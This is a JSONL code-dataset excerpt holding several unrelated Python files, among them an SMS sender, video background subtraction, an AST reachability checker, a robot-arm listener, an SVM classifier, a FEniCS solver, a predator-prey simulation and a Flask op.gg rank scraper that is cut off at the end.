8))),\n 'Format': 'json',\n 'SignatureMethod': 'HMAC-SHA1',\n 'SignatureVersion': '1.0',\n 'SignatureNonce': hashlib.md5(uuid4().__str__().encode()).hexdigest(),\n 'Action': 'SendSms',\n 'Version': '2017-05-25',\n 'RegionId': 'cn-hangzhou',\n 'PhoneNumbers': phone,\n 'SignName': '乐理二手',\n 'TemplateCode': 'SMS_163438002',\n 'TemplateParam': json.dumps({'code': code})\n }\n\n params['Signature'] = self.sign(params, s_id)\n\n logger.info(params)\n\n url_data = parse.urlencode(params)\n url = f'http://dysmsapi.aliyuncs.com/?{url_data}'\n try:\n res = requests.get(url)\n logger.info(res.text)\n res_json = res.json()\n if res_json.get('Code') == 'OK':\n return {'code': self.OK, 'msg': 'OK', 'ali_obj': alipay}\n else:\n return {'code': self.NOT_OK, 'msg': res_json.get('Message', 'NOT_OK')}\n except:\n return {'code': self.NOT_OK, 'msg': 'Unkonwn Error'}\n","sub_path":"demo/sss/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"80994381","text":"import cv2\nimport numpy as np\nimport sys\n\n# class codeword:\n# def __init__(self, pix):\n# I = rgb2gray(pix)\n# self.min = np.maximum(0, I - alpha)\n# self.max = np.minimum(255, I + alpha)\n# self.f = 1\n# self.l = 0\n# self.first = t\n# self.last = t\n# # self.sigma = 0\n\nclass codebook:\n def __init__(self, frame):\n self.Tdel = 200\n self.Tadd = 150\n self.Th = 200\n self.learningFrams = 10 * (interval + 1)\n self.h = frame.shape[0]\n self.w = frame.shape[1]\n self.cbMain = tuple(tuple(list() for i in range(self.w)) for j in range(self.h))\n self.cbCache = tuple(tuple(list() for i in range(self.w)) for j in range(self.h))\n # for i in range(0, self.h):\n # temp1 = list()\n # temp2 = list()\n # for j in range(0, self.w):\n # temp3 = list()\n # temp4 = list()\n # temp1.append(temp3)\n # temp2.append(temp4)\n # self.cbMain.append(temp1)\n # self.cbCache.append(temp2)\n\n # def self_def(self, lF, al, be):\n # self.learningFrams = lF\n # self.alpha = al\n # self.beta = be\n\n # def codeword(self, I):\n # min = np.maximum(0, I - alpha)\n # max = np.minimum(255, I + alpha)\n # f = 1\n # l = 0\n # first = t\n # last = t\n # return (min, max, f, l, first, last)\n # # self.sigma = 0\n #\n # def cw_up(self, I, cw):\n # min = (int)((1 - beta) * (I - alpha)) + (beta * cw[0])\n # max = (int)((1 - beta) * (I + alpha)) + (beta * cw[1])\n # f = cw[2] + 1\n # l = 0\n # last = t\n # return (min, max, f, l, cw[4], last)\n # # self.sigma = 0\n\n def codeword(self, I, rgbVec):\n v = (rgbVec[0], rgbVec[1], rgbVec[2])\n min = max = I\n f = 1\n l = 0\n first = last = t\n return (min, max, f, l, first, last, v)\n # self.sigma = 0\n\n def cw_up(self, I, cw, rgbVec):\n f = cw[2]\n v = cw[6]\n v = ((f*v[0] + rgbVec[0])/(f+1), (f*v[1] + rgbVec[1])/(f+1), (f*v[2] + rgbVec[2])/(f+1))\n min = np.minimum(I, cw[0])\n max = np.maximum(I, cw[1])\n f = f + 1\n l = 0\n last = t\n return (min, max, f, l, cw[4], last, v)\n # self.sigma = 0\n\n def fg_rec_2(self, frame, img_foreground):\n Ilist = 0.299 * frame[:, :, 0] + 0.587 * frame[:, :, 1] + 0.114 * frame[:, :, 2]\n for img in frame[:, :, 1]:\n print(img)\n print(len(frame[:, :, 0]))\n input()\n\n def fg_rec(self, frame, img_foreground):\n Ilist = 0.299 * frame[:, :, 0] + 0.587 * frame[:, :, 1] + 0.114 * frame[:, :, 2]\n for i in range(0, self.h):\n for j in range(0, self.w):\n x = frame[i][j]\n I = (int)(Ilist[i][j])\n found = False\n bookM = self.cbMain[i][j]\n for cw in bookM:\n if not found and brightness(I, cw) and colordist(x, np.array(cw[6])) <= Tdist:\n found = True\n bookM.insert(0, self.cw_up(I, cw, x))\n bookM.remove(cw)\n # cw.min = (int) ((1 - beta)*(I - alpha)) + (beta*cw.min)\n # cw.max = (int) ((1 - beta)*(I + alpha)) + (beta*cw.max)\n # cw.f += 1\n # cw.l = 0\n # cw.last = t\n else:\n cw = (cw[0], cw[1], cw[2], cw[3] + interval + 1, cw[4], cw[5], cw[6])\n\n if t > self.learningFrams and cw[3] >= self.Tdel:\n bookM.remove(cw)\n\n if not found and t <= self.learningFrams:\n bookM.insert(0, self.codeword(I, x))\n\n if t > self.learningFrams:\n if not found:\n img_foreground[i][j][0:3] = 255\n\n if found:\n continue\n\n if t > self.learningFrams:\n found = False\n bookC = self.cbCache[i][j]\n for cw in bookC:\n if not found and brightness(I, cw) and colordist(x, np.array(cw[6])) <= Tdist:\n found = True\n bookC.insert(0, self.cw_up(I, cw, x))\n bookC.remove(cw)\n # cw.min = (int)((1 - beta) * (I - alpha)) + (beta * cw.min)\n # cw.max = (int)((1 - beta) * (I + alpha)) + (beta * cw.max)\n # cw.f += 1\n # cw.l = 0\n # cw.last = t\n else:\n cw = (cw[0], cw[1], cw[2], cw[3] + interval + 1, cw[4], cw[5], cw[6])\n\n if cw[3] >= self.Th:\n bookC.remove(cw)\n else:\n if cw[2] > self.Tadd:\n bookM.append(cw)\n bookC.remove(cw)\n\n if not found:\n # bookC.append(self.codeword(I, x))\n bookC.insert(0, self.codeword(I, x))\n\ndef colordist(x, v):\n return np.sqrt(np.sum(np.square(x)) - np.square(np.sum(x*v))/np.sum(np.square(v)))\n\n# def colordist_smooth(x, v):\n# temp1 = np.square(x[0]*v[0] + x[1]*v[1] + x[2]*v[2])/(np.square(v[0]) + np.square(v[1]) + np.square(v[2]))\n# temp2 = np.sqrt((np.square(x[0])+np.square(x[1])+np.square(x[2])) - temp1)\n# return temp2\n\ndef brightness(I, cw):\n Ilow = 0.65*cw[1]\n Ihigh = np.minimum(1.3*cw[1], cw[0]/0.65)\n if (Ilow <= I <= Ihigh):\n return True\n else:\n return False\n\ndef rgb2gray(v):\n return (0.299*v[0] + 0.587*v[1] + 0.114*v[2])\n\ndef main(argv):\n global firstTime, t, Tdist, alpha, beta, interval\n firstTime = True\n t = 0\n Tdist = 12.8\n alpha = 10\n beta = 0.8\n interval = 0\n video = cv2.VideoCapture(argv)\n fgbg = cv2.createBackgroundSubtractorMOG2()\n\n # Check if camera opened successfully\n if (video.isOpened() == False):\n print(\"Error opening video stream or file\")\n\n # Read until video is completed\n while (video.isOpened()):\n\n # Capture frame-by-frame\n ret, frame = video.read()\n\n if ret:\n\n if firstTime is True:\n cb = codebook(frame)\n videoOut = cv2.VideoWriter(\"ForeGround.mp4\", cv2.VideoWriter_fourcc(*'XVID'), 15/((int)(interval + 1)), (cb.w, cb.h))\n firstTime = False\n\n img_foreground = np.zeros((cb.h, cb.w, 3), dtype=\"uint8\")\n cb.fg_rec_2(frame, img_foreground)\n\n # img_foreground = fgbg.apply(frame)\n\n videoOut.write(img_foreground)\n\n # # Display the resulting frame\n # cv2.imshow('Frame', frame)\n # cv2.imshow('ForeGround', img_foreground)\n #\n # # # Press Q on keyboard to exit\n # if cv2.waitKey(25) & 0xFF == ord('q'):\n # break\n\n t += 1\n\n # Break the loop\n else:\n break\n\n print(t, (int) (t/15))\n\n # for i in range(interval):\n # ret, frame = video.read()\n # t += 1\n #\n # if t == 45:\n # break\n\n video.release()\n videoOut.release()\n cv2.destroyAllWindows()\n\n\nif __name__ == \"__main__\":\n if sys.argv.__len__() > 2:\n print(\"Only one file is accepted one time.\")\n main(sys.argv[1])","sub_path":"codebook_v3.py","file_name":"codebook_v3.py","file_ext":"py","file_size_in_byte":7658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"590332583","text":"import constraints\nimport parser.ast.ast_class as ast_class\nimport parser.ast.ast_expression as ast_expression\nimport parser.ast.ast_interface as ast_interface\nimport parser.ast.ast_root as ast_root\nimport parser.ast.ast_type as ast_type\nimport parser.ast.ast_variable_declaration as ast_variable_declaration\nimport parser.ast.statement.ast_block as ast_block\nimport parser.ast.statement.ast_if as ast_if\nimport parser.ast.statement.ast_for as ast_for\nimport parser.ast.statement.ast_return as ast_return\nimport parser.ast.statement.ast_while as ast_while\n\nfrom constraints import MAYBE, NO\n\nstatement_map = {\n ast_if.ASTIf: constraints.if_statement,\n ast_return.ASTReturn: constraints.return_statement,\n ast_variable_declaration.ASTVariableDeclaration: constraints.var_decl,\n ast_while.ASTWhile: constraints.while_loop,\n ast_for.ASTFor: constraints.for_loop,\n}\n\ndef check_reachability(ast):\n '''Check the reachability of a file given its ASTRoot'''\n root = ast\n ast = ast.class_or_interface\n if ast is None:\n return\n\n for m in ast.methods:\n _check_method(m)\n\n # No problems -- return here.\n return\n\ndef check_block_or_statement(ast, in_value):\n '''Check the reachability of a block or statement.\n This should be used in contexts where a block or a single statement could\n appear, e.g. if statements, while loops, etc.'''\n if isinstance(ast, ast_block.ASTBlock):\n return _check_block(ast, in_value)\n return _check_statement(ast, in_value, MAYBE)\n\ndef _check_method(ast):\n '''Check the reachability of a method'''\n # Only check methods with bodies.\n if ast.body is None:\n return\n\n in_value, out_value = _check_block(ast.body, in_value = MAYBE)\n\n # For non-constructor, non-void methods, the OUT of the method must be\n # NO, not MAYBE.\n if not ast.is_constructor and ast.return_type != ast_type.ASTType.ASTVoid:\n if out_value == MAYBE:\n raise ReachabilityError('Method {0} has OUT = MAYBE'.format(ast.name))\n\ndef _check_block(ast, in_value = MAYBE, out_value = MAYBE):\n '''Check the reachability of a block'''\n original_i = in_value\n\n for statement in ast.statements:\n if isinstance(statement, ast_block.ASTBlock):\n # For a new block, the IN value is the OUT value of the statement before.\n in_value, out_value = _check_block(statement, out_value)\n else:\n in_value, out_value = _check_statement(statement, in_value, out_value)\n\n # IN must be MAYBE for all statements\n if in_value == NO:\n raise ReachabilityError('Statement has IN = NO')\n\n return original_i, out_value\n\ndef _check_statement(ast, in_value, out_value):\n '''Checks the reachability of a single statement.\n This takes in the previous statement's in and out values.'''\n\n # Skip over any ASTExpressions.\n if isinstance(ast, ast_expression.ASTExpression):\n return in_value, out_value\n\n # Check if we've memoized the result for this node already.\n if ast.reachability != (None, None):\n return ast.reachability\n\n # Run the matching constraint on the statement.\n # TODO(songandrew): Once they're all implemented, the IF should be removed.\n # If there's a statement with no matching key, then we should throw an\n # Exception as it means some other part of our code is broken.\n if statement_map.has_key(type(ast)):\n constraint = statement_map[type(ast)]\n in_value, out_value = constraint(ast, in_value, out_value)\n ast.reachability = (in_value, out_value)\n\n return in_value, out_value\n\nclass ReachabilityError(Exception):\n def __init__(self, msg = ''):\n self.msg = msg\n","sub_path":"static_analysis/reachability.py","file_name":"reachability.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"64873995","text":"import threading\nimport time\n\nfrom x_arm_api_extended import XArmApiExtended\n\nX_MIN_VALUE = 300\nX_MIN = 30\nLOW = 0\nX_MAX = 70\nY_MIN = 12\nY_BOTTOM_CENTER = 25\nY_TOP_CENTER = 24\nY_MAX = 37\nX_MAX_VALUE = 675\nSPEED_1 = 500\nSPEED_2 = 300\n\n\nclass XArmEventListener(threading.Thread):\n\n def __init__(self, arm: XArmApiExtended, group=None, target=None, name=None, args=(), kwargs=None, verbose=None,\n paths=None):\n \"\"\"\n this class extends threading to allow it to run on background\n :parameter arm -> arm that has already connected\n :parameter paths -> paths that the arms need to execute, when trigger pin0\n \"\"\"\n super().__init__(group, target, name, args, kwargs)\n self.__paths = paths\n self.__arm = arm\n self.__collect_signal = True\n self.__should_listen = True\n return\n\n def run(self, **args):\n\n task_completed = False\n while self.__should_listen and not task_completed and len(self.__paths) > 0:\n while self.__collect_signal:\n code, states = self.__arm.get_cgpio_state()\n signal = [states[3] >> i & 0x0001 for i in range(6)]\n pin0value = (signal[0])\n if pin0value == LOW:\n self.__move(self.__paths)\n self.__collect_signal = False\n else:\n pass\n\n def stop_listening(self):\n self.__should_listen = False\n\n def __move(self, paths=None):\n \"\"\"\n :param paths:\n :return:\n \"\"\"\n a = True\n if paths is None:\n paths = []\n\n if not self.__collect_signal:\n self.__arm.move_arc_lines_constraint(paths, is_radian=False, speed=SPEED_2, times=1, wait=True,\n automatic_calibration=True)\n self.__arm.reset(wait=True)\n\n return a\n","sub_path":"x_arm_listener.py","file_name":"x_arm_listener.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"157462086","text":"import os\nimport numpy as np\nimport scipy.io as sio\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport random\nimport sklearn\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import LeaveOneOut\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import chi2\nfrom sklearn.preprocessing import normalize\n\n\nos.chdir('/Users/luis/Dropbox/CompBio')\ndata = sio.loadmat('TGGATES')\n\nos.chdir('/Users/luis/Documents/CompBio/project/py')\nctrlMatrix = data['ctrlMatrix']\nhighMatrix = data['highMatrix']\n\n#ctrlMatrix = normalize(ctrlMatrix, norm=’l2’, axis=1, copy=True, return_norm=False)\n#highMatrix = normalize(highMatrix, norm=’l2’, axis=1, copy=True, return_norm=False)\n\nrelMatrix = highMatrix / ctrlMatrix\nrelMatrix_store = relMatrix\nrelMatrix = relMatrix_store\n\nrelMatrix = sklearn.preprocessing.normalize(relMatrix, norm='l2', axis=0, copy=True, return_norm=False)\n\nprint(relMatrix.shape)\n\ntrue = np.array(['N', 'Y', 'N', 'Y', 'Y', 'N', 'N', 'N', 'Y', 'N', 'N', 'N', 'N', 'N',\n 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'Y', 'N', 'N', 'Y', 'Y',\n 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'Y', 'N', 'N', 'Y', 'N', 'N',\n 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N',\n 'N', 'Y', 'N', 'Y', 'N', 'N', 'Y', 'N', 'N', 'N', 'N', 'N', 'Y', 'N',\n 'N', 'N', 'N', 'Y', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'Y', 'N', \n 'N', 'Y', 'N', 'N', 'N', 'N', 'N', 'Y', 'Y', 'N', 'Y', 'N', 'N', 'Y',\n 'N', 'Y', 'Y', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'Y', 'N', 'N',\n 'N', 'N', 'N', 'N', 'N', 'Y', 'N', 'Y', 'Y', 'N', 'N', 'N', 'N', 'N',\n 'Y', 'N', 'N', 'N', 'Y', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'Y',\n 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N'])\n\nlabel = np.zeros(150)\nfor i in range(150):\n if true[i] == 'N':\n label[i] = 0\n elif true[i] == 'Y':\n label[i] = 1\n\n#chi2 feature selection\n#selector = SelectKBest(chi2, k=nFeatures)\nselector = SelectKBest(chi2, k=5000)\nX_new = selector.fit_transform(relMatrix, label)\nprint(X_new.shape)\n#print(selector.get_support(indices=True))\nrelMatrix = X_new\n\nloo = LeaveOneOut()\nloo.get_n_splits(relMatrix)\n\nTP, TN, FP, FN = 0,0,0,0\nfor train_index, test_index in loo.split(relMatrix):\n# print(\"TRAIN:\", train_index, \"TEST:\", test_index)\n# print(\"TEST:\", test_index)\n X_train, X_test = relMatrix[train_index], relMatrix[test_index]\n y_train, y_test = label[train_index], label[test_index]\n \n clf = SVC(C=1.0, cache_size=2000, class_weight='balanced', coef0=0.0,\n decision_function_shape='ovo', gamma='auto', kernel='linear',\n max_iter=-1, probability=False, random_state=None, shrinking=True,\n tol=0.001, verbose=False)\n clf.fit(X_train, y_train) \n pred = clf.predict(relMatrix[test_index,:])\n GT = label[test_index]\n \n if pred == 1 and GT == 1:\n TP += 1\n elif pred == 1 and GT == 0:\n FP += 1\n elif pred == 0 and GT == 1:\n FN += 1\n elif pred == 0 and GT == 0:\n TN += 1\n \n# print(str(pred) + str(GT))\n if pred != GT:\n print(test_index)\nprint('pred, true')\nacc = (TP + TN) / len(label)\nprecision = TP / np.max(((TP + FP), 1e-3))\nrecall = TP / (TP + FN)\nspecificity = TN / (TN + FP)\nprint('acc = ' + str(acc))\nprint('pred''\\t'+ 'actual')\nprint('\\t'+'pos'+'\\t'+'neg')\nprint('pos'+'\\t'+str(TP)+'\\t'+str(FP))\nprint('neg'+'\\t'+str(FN)+'\\t'+str(TN))\nprint('recall = ' + str(recall))\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"103280188","text":"# Jens Clausen \n# Simulation of water penetration into porous disc\n\n# Imports \nfrom dolfin import *\nfrom mshr import *\nfrom random import random\nimport matplotlib.pyplot as plt\nimport math \n\n# Define positions \ncentre_x = 0.5\ncentre_y = 0.5\noffset_x = 0.0\noffset_y = 0.0\nouter_radius = 0.5 \ninner_radius = 0.2\ncrit_radius = 0.4\nnew_radius = 0.05\n\n# Define mesh \nouterCircle = Circle(Point(centre_x,centre_y), outer_radius)\ninnerCircle = Circle(Point(centre_x - offset_x,centre_y - offset_y), inner_radius)\ncircle1 = Circle(Point(centre_x - 0.25,centre_y - 0.25), new_radius)\n\ndomain = outerCircle - innerCircle - circle1\nmesh = generate_mesh(domain, 200)\n\nV = FunctionSpace(mesh, \"Lagrange\", 1)\n\n# Define Dirichlet boundary (x = 0 or x = 1)\ndef boundary(x):\n boundary_pt = False \n\n # Interior circle \n if (math.sqrt(math.pow(x[0]-(centre_x-offset_x),2) + math.pow(x[1]-(centre_y-offset_y),2)) <= (inner_radius + DOLFIN_EPS)):\n boundary_pt = True\n\n return boundary_pt\n\n# Define boundary condition\nu0 = Constant(0.1)\nbc = DirichletBC(V, u0, boundary)\n\n# Define variational problem\nu = TrialFunction(V)\nv = TestFunction(V)\nf = Expression(\"-2\", degree=0) # sink term\ng = Expression(\"0\", degree=0) # no crossing Neumann Boundary \na = inner(grad(u), grad(v))*dx\nL = f*v*dx + g*v*ds\n\n# Compute solution\nu = Function(V)\nsolve(a == L, u, bc)\n\n# Save solution in VTK format\nfile = File(\"poisson.pvd\")\nfile << u\n\n# Plot solution\nsoln = plot(u)\nplt.colorbar(soln)\nplt.show()\n\n\n\n# Data Analysis \nimport numpy\n#import vtk\n\n# The source file\n#file_name = \"/Users/jensbclausen/Desktop/Thesis/1 - Assignments/3 - Sim/poisson000000.vtu\"\n\n# Read the source file.\n#reader = vtk.vtkXMLUnstructuredGridReader()\n#reader.SetFileName(file_name)\n#reader.Update() # Needed because of GetScalarRange\n#output = reader.GetOutput()\n#potential = output.GetPointData().GetArray(\"f_22\")\n\n\n\n\n\n\n\n\n\n\n\n\n# USEFUL PAGES IN TUTORIAL PDF \n# Boundary Conditions - 92 \n\n","sub_path":"cool_geometry.py","file_name":"cool_geometry.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"464626381","text":"# selenium grid demo\nfrom selenium import webdriver\nimport time\n\nhost = 'http://127.0.0.1:4444/wd/hub'\n#browser = 'firefox'\n#browser = 'chrome'\nbrowser = 'internet explorer'\n\ndriver = webdriver.Remote(\n command_executor=host,\n desired_capabilities={\n 'platform': 'ANY',\n 'browserName': browser,\n 'version': '',\n 'javascriptEnabled': True\n }\n )\n\ndriver.get(\"http://www.baidu.com\")\ndriver.find_element_by_id(\"kw\").send_keys(u\"中国\")\ndriver.find_element_by_id(\"su\").click()\ntime.sleep(15)\n\nif driver.title == u\"中国_百度搜索\":\n print(\"title匹配!\")\nelse:\n print(\"title不匹配!\")\n\ndriver.close()\n","sub_path":"Test/selenium/grid_demo.py","file_name":"grid_demo.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"66624114","text":"#\n# @lc app=leetcode.cn id=365 lang=python\n#\n# [365] 水壶问题\n#\n# https://leetcode-cn.com/problems/water-and-jug-problem/description/\n#\n# algorithms\n# Medium (28.29%)\n# Likes: 194\n# Dislikes: 0\n# Total Accepted: 21.9K\n# Total Submissions: 62.4K\n# Testcase Example: '3\\n5\\n4'\n#\n# 有两个容量分别为 x升 和 y升 的水壶以及无限多的水。请判断能否通过使用这两个水壶,从而可以得到恰好 z升 的水?\n# \n# 如果可以,最后请用以上水壶中的一或两个来盛放取得的 z升 水。\n# \n# 你允许:\n# \n# \n# 装满任意一个水壶\n# 清空任意一个水壶\n# 从一个水壶向另外一个水壶倒水,直到装满或者倒空\n# \n# \n# 示例 1: (From the famous \"Die Hard\" example)\n# \n# 输入: x = 3, y = 5, z = 4\n# 输出: True\n# \n# \n# 示例 2:\n# \n# 输入: x = 2, y = 6, z = 5\n# 输出: False\n# \n# \n#\n\n# @lc code=start\nclass Solution(object):\n def canMeasureWater(self, x, y, z):\n \"\"\"\n :type x: int\n :type y: int\n :type z: int\n :rtype: bool\n \"\"\"\n if z == 0:\n return True\n if x+y 0:\n temp = x\n x = y\n y = temp%y\n # x为最大公约数\n if x == 0:\n return False\n if z%x == 0:\n return True\n return False\n\n# @lc code=end\n\nsolu = Solution()\nprint(solu.canMeasureWater(1,1,12))","sub_path":"365.水壶问题.py","file_name":"365.水壶问题.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"570746068","text":"#! /usr/bin/env python3\nimport math\nimport sys\nfrom datetime import datetime\ndatetime.now().replace(microsecond=0).isoformat()\ndef main():\n print('##', datetime.now().replace(microsecond=0).isoformat())\n dt = float(sys.argv[1])\n N0B = float(sys.argv[2])\n N0W = float(sys.argv[3])\n # Prey_Growth_Rate = float(sys.argv[4])\n Prey_Side_Interaction_Rate = float(sys.argv[4])\n Predator_Side_Interaction_Rate = float(sys.argv[5])\n Predator_Death_Rate = float(sys.argv[6])\n NGen = int(sys.argv[7])\n NB_Previous = N0B\n NW_Previous = N0W\n Var_Range = int(sys.argv[8])\n print('#from variables:', 'dt=', dt, 'NOB=', N0B, 'NOW=', N0W, 'Prey-side interactionrate=', Prey_Side_Interaction_Rate, 'Predator-side interaction rate=', Predator_Side_Interaction_Rate, 'Predator death rate', Predator_Death_Rate, 'NGen =', NGen, 'range of prey growth rate=', Var_Range)\n for i in range(Var_Range):\n Prey_Growth_Rate = i+1\n for z in range(NGen):\n dNB =(Prey_Growth_Rate * NB_Previous * dt) - (Prey_Side_Interaction_Rate * NB_Previous * NW_Previous * dt)\n NB_New = NB_Previous + dNB\n dNW = (Predator_Side_Interaction_Rate * NB_Previous * NW_Previous* dt) - (Predator_Death_Rate * NW_Previous * dt)\n NW_New = NW_Previous + dNW\n if NB_Previous <= 0:\n NB_New = 0\n print(Prey_Growth_Rate, z+1, '1')\n # x = Prey_Growth_Rate\n # y = z+1\n # print(x, y)\n break\n else:\n NB_Previous = NB_New\n if NW_Previous <= 0:\n NW_New = 0\n print(Prey_Growth_Rate, z+1, '2')\n break\n else:\n NW_Previous = NW_New\n if z+1 == NGen:\n print(Prey_Growth_Rate, z+1, '3')\n break\n NB_Previous = N0B\n NW_Previous = N0W\n \n\nmain()\n\n","sub_path":"variable_graphable_argv.py","file_name":"variable_graphable_argv.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"352329834","text":"from flask import Flask, request, render_template, session, redirect, url_for\r\nfrom collections import defaultdict\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\n\r\n\r\napp = Flask(__name__)\r\napp.secret_key = 'A0Zr98j/3yX R~XHH!jmN]LWX/,?RT'\r\n\r\n@app.route(\"/\")\r\ndef index():\r\n return render_template(\"Index.html\")\r\n\r\n@app.route('/', methods=['POST'])\r\ndef scrape():\r\n ranks = []\r\n most_played = []\r\n most_played_champs = []\r\n lst = []\r\n\r\n results_rank = defaultdict(lambda: \"\")\r\n results_most_played = defaultdict(lambda: \"\")\r\n\r\n\r\n Player1 = request.form[\"Player1\"]\r\n Player2 = request.form[\"Player2\"]\r\n Player3 = request.form[\"Player3\"]\r\n Player4 = request.form[\"Player4\"]\r\n Player5 = request.form[\"Player5\"]\r\n\r\n\r\n players = [Player1,Player2,Player3,Player4,Player5]\r\n players = list(filter(None, players))\r\n\r\n\r\n for i,player in enumerate(players):\r\n URL = \"https://euw.op.gg/summoner/userName=\" + player\r\n page = requests.get(URL)\r\n soup = BeautifulSoup(page.content, \"html.parser\")\r\n check_existance = soup.find(\"h2\", class_ = \"Title\")\r\n if check_existance is None:\r\n pass\r\n elif check_existance.text == \"This summoner is not registered at OP.GG. Please check spelling.\":\r\n return render_template(\"break.html\", nonvalid = players[i],)\r\n\r\n\r\n # player info\r\n solo_rank = soup.find(\"div\", class_=\"TierRank\")\r\n if solo_rank is None:\r\n solo_rank = \"Unranked\"\r\n ranks.append(solo_rank)\r\n elif solo_rank.text == \"\\n\\t\\t\\tUnranked\\n\\t\\t\":\r\n solo_rank = soup.find_all(\"li\", class_=\"Item tip\")\r\n for entry in solo_rank:\r\n if entry.find(\"b\", string=\"S2020\"):\r\n solo_rank = entry\r\n solo_rank_adj = solo_rank.text[-(len(solo_rank.text)-2):]\r\n ranks.append(solo_rank_adj)\r\n else:\r\n ranks.append(solo_rank.text)\r\n\r\n\r\n\r\n URL = \"https://euw.op.gg/summoner/champions/userName=\" + player\r\n page = requests.get(URL)\r\n soup = BeautifulSoup(page.content, \"html.parser\")\r\n champions_played_most = soup.find_all(\"tr\", class_=\"Row TopRanker\")\r\n for i, x in enumerate(champions_played_most):\r\n champion = x.find(\"td\", class_=\"ChampionName Cell\")\r\n pre = champion.text\r\n adj_champion = pre.replace(\"\\n\", \"\")\r\n most_played.append(adj_champion)\r\n most_played_champs.append(most_played)\r\n most_played = []\r\n\r\n\r\n\r\n for i, x in enumerate(ranks):\r\n results_rank[players[i]] = x\r\n for i, x in enumerate(most_played_champs):\r\n for entry in x:\r\n if entry == \"Kai\\u0027Sa\":\r\n adj_entry = entry.replace(\"\\u0027\", \"\")\r\n lst.append(adj_entry)\r\n elif entry == \"\":\r\n lst.append(\"\")\r\n else:\r\n lst.append(entry)\r\n results_most_played[players[i]] = lst[0] + \", \" + lst[1] + \", \" + lst[2]\r\n lst = []\r\n\r\n if Player1 != \"\":\r\n session[\"Player1\"] = players[0]\r\n if Player2 != \"\":\r\n session[\"Player2\"] = players[1]\r\n if Player3 != \"\":\r\n session[\"Player3\"] = players[2]\r\n if Player4 != \"\":\r\n session[\"Player4\"] = players[3]\r\n if Player5 != \"\":\r\n session[\"Player5\"] = players[4]\r\n\r\n\r\n return render_template(\"page2.html\", ranks = results_rank, Players = players, most_played = results_most_played)\r\n return redirect(url_for('details'))\r\n\r\n\r\n@app.route('/details')\r\ndef details():\r\n ranks_flex = []\r\n win_ratio_soloq = []\r\n win_ratio_flexi = []\r\n\r\n results_rank_flex = defaultdict(lambda: \"\")\r\n results_win_ratio_soloq = defaultdict(lambda: \"\")\r\n results_win_ratio_flex = defaultdict(lambda: \"\")\r\n\r\n Player1 = session.get(\"Player1\", None)\r\n Player2 = session.get(\"Player2\", None)\r\n Player3 = session.get(\"Player3\", None)\r\n Player4 = session.get(\"Player4\", None)\r\n Player5 = session.get(\"Player5\", None)\r\n\r\n\r\n players = [Player1, Player2, Player3, Player4, Player5]\r\n players = list(filter(None, players))\r\n\r\n for i, player in enumerate(players):\r\n URL = \"https://euw.op.gg/summoner/userName=\" + player\r\n page = requests.get(URL)\r\n soup = BeautifulSoup(page.content, \"html.parser\")\r\n check_existance = soup.find(\"h2\", class_=\"Title\")\r\n if check_existance is None:\r\n pass\r\n elif check_existance.text == \"This summoner is not registered at OP.GG. Please check spelling.\":\r\n return render_template(\"break.html\", nonvalid=players[i],)\r\n\r\n # flex rank\r\n rank_flex = soup.find(\"div\", class_=\"sub-tier__info\")\r\n if rank_flex is None:\r\n ranks_flex.append(\"no details found\")\r\n else:\r\n rank_flexq = rank_flex.find(\"div\", class_=\"sub-tier__rank-tier\")\r\n pre_r = rank_flexq.text\r\n adj_r = pre_r.replace(\"\\n\", \"\")\r\n ranks_flex.append(adj_r.strip())\r\n\r\n # win ratios\r\n tier_info_solo = soup.find(\"div\", class_=\"TierInfo\")\r\n if tier_info_solo is None:\r\n win_ratio_soloq.append(\"no details found\")\r\n else:\r\n win_ratio_solo = tier_info_solo.find(\"span\", class_=\"winratio\")\r\n win_ratio_soloq.append(win_ratio_solo.text)\r\n\r\n tier_info_flex = soup.find(\"div\", class_=\"sub-tier__info\")\r\n\r\n if tier_info_flex is None:\r\n win_ratio_flexi.append(\"no details found\")\r\n else:\r\n win_ratio_flex = tier_info_flex.find(\"div\", class_=\"sub-tier__gray-text\")\r\n if win_ratio_flex is None:\r\n win_ratio_flexi.append(\"no details found\")\r\n else:\r\n pre_wr = win_ratio_flex.text\r\n adj_wr = pre_wr.replace(\"\\n\", \"\")\r\n win_ratio_flexi.append(adj_wr.strip())\r\n\r\n for i, x in enumerate(ranks_flex):\r\n results_rank_flex[players[i]] = x\r\n for i, x in enumerate(win_ratio_soloq):\r\n results_win_ratio_soloq[players[i]] = x\r\n for i, x in enumerate(win_ratio_flexi):\r\n results_win_ratio_flex[players[i]] = x\r\n\r\n\r\n return render_template(\"details.html\",Players = players, win_ratio_soloq = results_win_ratio_soloq, win_ratio_flexi = results_win_ratio_flex, 